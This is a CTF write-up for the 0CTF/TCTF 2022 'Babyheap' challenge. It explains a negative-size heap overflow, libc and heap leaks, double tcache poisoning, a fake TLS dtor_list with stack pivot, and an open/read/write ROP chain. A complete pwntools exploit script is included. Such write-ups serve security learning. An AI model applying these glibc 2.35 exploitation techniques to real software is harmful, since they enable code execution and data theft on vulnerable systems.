### Babyheap
was a pwn challenge from 0CTF/TCTF 2022 edition
This challenge is typical note app with vuln.
A heap challenge based on libc-2.35 , last ubuntu 22.04 libc at the time of writing..
so no hooks..
classic menu from early classical ctf period..![heap](https://github.com/nobodyisnobody/write-ups/raw/main/0CTF.TCTF.2022/pwn/babyheap/pics/menu.png)
The program has a seccomp in place, that limit us to open/read/write ROP, no execve..so no one-gadgets too..![seccomp](https://github.com/nobodyisnobody/write-ups/raw/main/0CTF.TCTF.2022/pwn/babyheap/pics/seccomp.png)
### BugBug is at `Update` function below. We can pass negative value to this `Size` and earn almost unlimited heap overflow.
```c  else {    printf("Size: ");    lVar2 = r_get_int();    if (*(long *)(param_1 + (long)(int)uVar1 * 0x18 + 8) < lVar2) {      puts("Invalid Size");    }    else {      printf("Content: ");      get_bytes(*(undefined8 *)(param_1 + (long)(int)uVar1 * 0x18 + 0x10),lVar2);      printf("Chunk %d Updated\n",(ulong)uVar1);    }  }  return;```
### Exploit: leakSince no UAF & null terminated inputs, we chose to create overlap chunk to get leak. The plan is as follows.1. Arrange the chunks as below.2. Free #4 to consolidate chunk with #13. Alloc some chunks to overlap main_arena's address and #34. free #6 to chain unsortedbin for heap leak5. view #2 to leak libc + heap
```Chunk #0    [ALLOC] <-- to edit #1 headerChunk #1    [FREE ] <-- unsortedbin with fake headerChunk #2    [ALLOC] <-- for leakChunk #3    [ALLOC] <-- for tcache poisoningChunk #4    [ALLOC] <-- make prev inuse: falseChunk #5    [ALLOC] <-- guard chunkChunk #6    [ALLOC] <-- bigger than 0x420Chunk #7    [ALLOC] <-- guard chunkChunk #8-15 [FREE ] <-- fill tcache```
### Exploit: do the tcache poisonning dance two times..
So for exploitation we will use a classical tcache poisonning attack, wich is easy with heap overflow.
We just have to free at least 2 chunks… then overwrite their fd pointer with the heap overflow.
We will reuse the same method to achieve code execution than in ezvm challenge from this ctf.
[https://github.com/nobodyisnobody/write-ups/tree/main/0CTF.TCTF.2022/pwn/ezvm](http://)
We will create a fake `dtor_list` table in tls-storage zone just before libc.
the `call_tls_dtors()` will also permit us to set `rdx` register,
we will use a very usefull gadget in libc, to pivot stack on rdx
```libc.address + 0x000000000005a170 # mov rsp, rdx ; ret```
instead of calling system like in ezvm challenge , we will setup rdx to point to our rop,
and will call the `mov rsp,rdx` gadget with out fake `dtor_list` table
our ROP is a classic open / read / write rop
that will dump the flag.
For using this method ,we need two writes:
- one to erase the random value that is used for calculating mangled value as `fs:0x30`- another to write our fake `dtor_list` table and our rop
so we will do tcache poisonning attack two times…
then we exit the program, that will execute our rop at exit time… and dump the flag.
![gotflag](https://github.com/nobodyisnobody/write-ups/raw/main/0CTF.TCTF.2022/pwn/babyheap/pics/gotflag.png)
here is the exploit code commented(more or less):
```python#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *context.arch = 'amd64'context.log_level = 'error'
TARGET = './babyheap'HOST = '47.100.33.132'PORT = 2204
elf = ELF(TARGET)libc = ELF('./libc.so.6')
if not args.REMOTE:  r = process(TARGET)else:  r = remote(HOST, PORT)
def a(size, data):	r.sendlineafter(b'mand: ', b'1')	r.sendlineafter(b'Size: ', str(size).encode())	r.sendlineafter(b'tent: ', data)
def e(idx, data, size=-1):	r.sendlineafter(b'mand: ', b'2')	r.sendlineafter(b'ndex: ', str(idx).encode())	r.sendlineafter(b'Size: ', str(size).encode())	r.sendlineafter(b'tent: ', data)
def d(idx):	r.sendlineafter(b'mand: ', b'3')	r.sendlineafter(b'ndex: ', str(idx).encode())
def v(idx):	r.sendlineafter(b'mand: ', b'4')	r.sendlineafter(b'ndex: ', str(idx).encode())
# function to rotate leftrol = lambda val, r_bits, max_bits: \    (val << r_bits%max_bits) & (2**max_bits-1) | \    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
#----------------------------------------------------
a(0xf8, b'11111111')a(0xf8, b'22222222')a(0x48, b'33333333') #2a(0x48, b'44444444') #3a(0x48, b'........') #4a(0x48, b'........') #5a(0xf8, b'55555555')a(0x28, b'66666666')for i in range(7):	a(0xf8, b'a')
for i in range(7):	d(14-i)
a(0x418, b'cccccccc') #8a(0x18, b'cccccccc')
d(1)e(0, b'!'*0xf8+p64(0x241)[:-1])e(5, b'!'*0x40+p64(0x240))
d(6)a(0x78, b'aaaaaaaa')a(0x78, b'bbbbbbbb')
d(8)v(2)r.recvuntil(b'[2]: ')leak = u64(r.recv(8))print(f"leak: {leak:x}")libc.address = leak - 0x219ce0stdout = libc.sym['_IO_2_1_stdout_']environ = libc.sym['environ']leak = u64(r.recv(8))print(f"leak: {leak:x}")heap = leak - 0xe00def mangle(v):	return v ^ (heap >> 12)
rop = ROP(libc)
print(f"base: {libc.address:x}")print(f"heap: {heap:x}")
payload = b''payload += b'@'*0xf8payload += flat(0x81)payload += b'@'*0x78payload += flat(0x81)payload += b'@'*0x78
payload += flat(0x51)payload += b'2'*0x48payload += flat(0x51)payload += b'3'*0x48payload += flat(0x51)payload += b'4'*0x48payload += flat(0x51)payload += b'5'*0x48payload += flat(0x81)[:-1]
e(0, payload)d(3)d(2)
payload = b''payload += b'@'*0xf8payload += flat(0x81)payload += b'@'*0x78payload += flat(0x81)payload += b'@'*0x78
payload += flat(0x51)#payload += p64(mangle(stdout))payload += p64(mangle(libc.address - 0x2920))payload += b'2'*0x40payload += flat(0x51)payload += p64(mangle(0))payload += b'3'*0x40payload += flat(0x51)payload += b'4'*0x48payload += flat(0x51)payload += b'5'*0x48payload += flat(0x81)[:-1]
over1 = b''over1 += p64(0)*5+p64(0x101)+p64( (libc.address-0x2890)^((heap+0x710)>>12) )e(7,over1)e(0, payload)
#---------------------------------------------------------------# gagdets from libcpop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]pop_rax_rdx_rbx = libc.address + 0x0000000000090528 # pop rax ; pop rdx ; pop rbx ; retpop_rax = rop.find_gadget(['pop rax', 'ret'])[0]xchg_eax_edi = libc.address + 0x000000000014a385 # xchg eax, edi ; retxchg_eax_edx = libc.address + 0x00000000000cea5a # xchg eax, edx ; retsyscall = libc.address + 0x0000000000091396 # syscall; ret;
a(0xf8, b'a1a1')ropa = libc.address - 0x2890# our final ROP thant will dump the flagmyrop= b''# open(fname,O_RDONLY)  (8 qwords)myrop += p64(0)+p64(pop_rdi)+p64(ropa+(29*8))+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)# read(fd,buff,256)   (8 qwords)myrop += p64(xchg_eax_edi)+p64(pop_rsi)+p64(ropa+0x200)+p64(pop_rax_rdx_rbx)+p64(0)+p64(0x200)+p64(0)+p64(syscall)# write(fd,buff,256)   (8 qwords)myrop += p64(xchg_eax_edx)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(ropa+0x200)+p64(pop_rax)+p64(1)+p64(syscall)#myrop += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(ropa-0x200)+p64(pop_rax_rdx_rbx)+p64(1)+p64(0x100)+p64(0)+p64(syscall)# exit()   (5 qwords)myrop += p64(pop_rax_rdx_rbx)+p64(60)+p64(0)+p64(0)+p64(syscall)if args.REMOTE:  myrop += b'/flag\x00'else:  myrop += b'flag.txt\x00'
#----------------------------------------------------# prepare our ropa(0xf8, myrop)
# gadget we will use to pivot on ROPgadget0 = libc.address + 0x000000000005a170 # mov rsp, rdx ; ret
# triggera(0x48, b'aaaaaaaa')fake = b''fake += p64(0)+p64(libc.address-0x2900)+p64(0)*2
# where do we jump, address need to be rotated left 17 bites , we will use a mov rsp,rdx / ret gadget to pivot on stack were we wantfake +=  p64(rol(gadget0,0x11,64))  # where do we jumpfake +=  p64(0xdeadbeef)	# first arg goes in rdifake +=  p64(0xdeadbeef)        # fake +=  p64(libc.address - 0x2888)        #  arg goes in rdx , so address of our ROP where we pivot ideally ready on heap
a(0x48, fake)# exit , so our rop will be executedr.sendlineafter(b'mand: ', b'5')
r.interactive()r.close()```
*nobodyisnobody still on the pwn side..*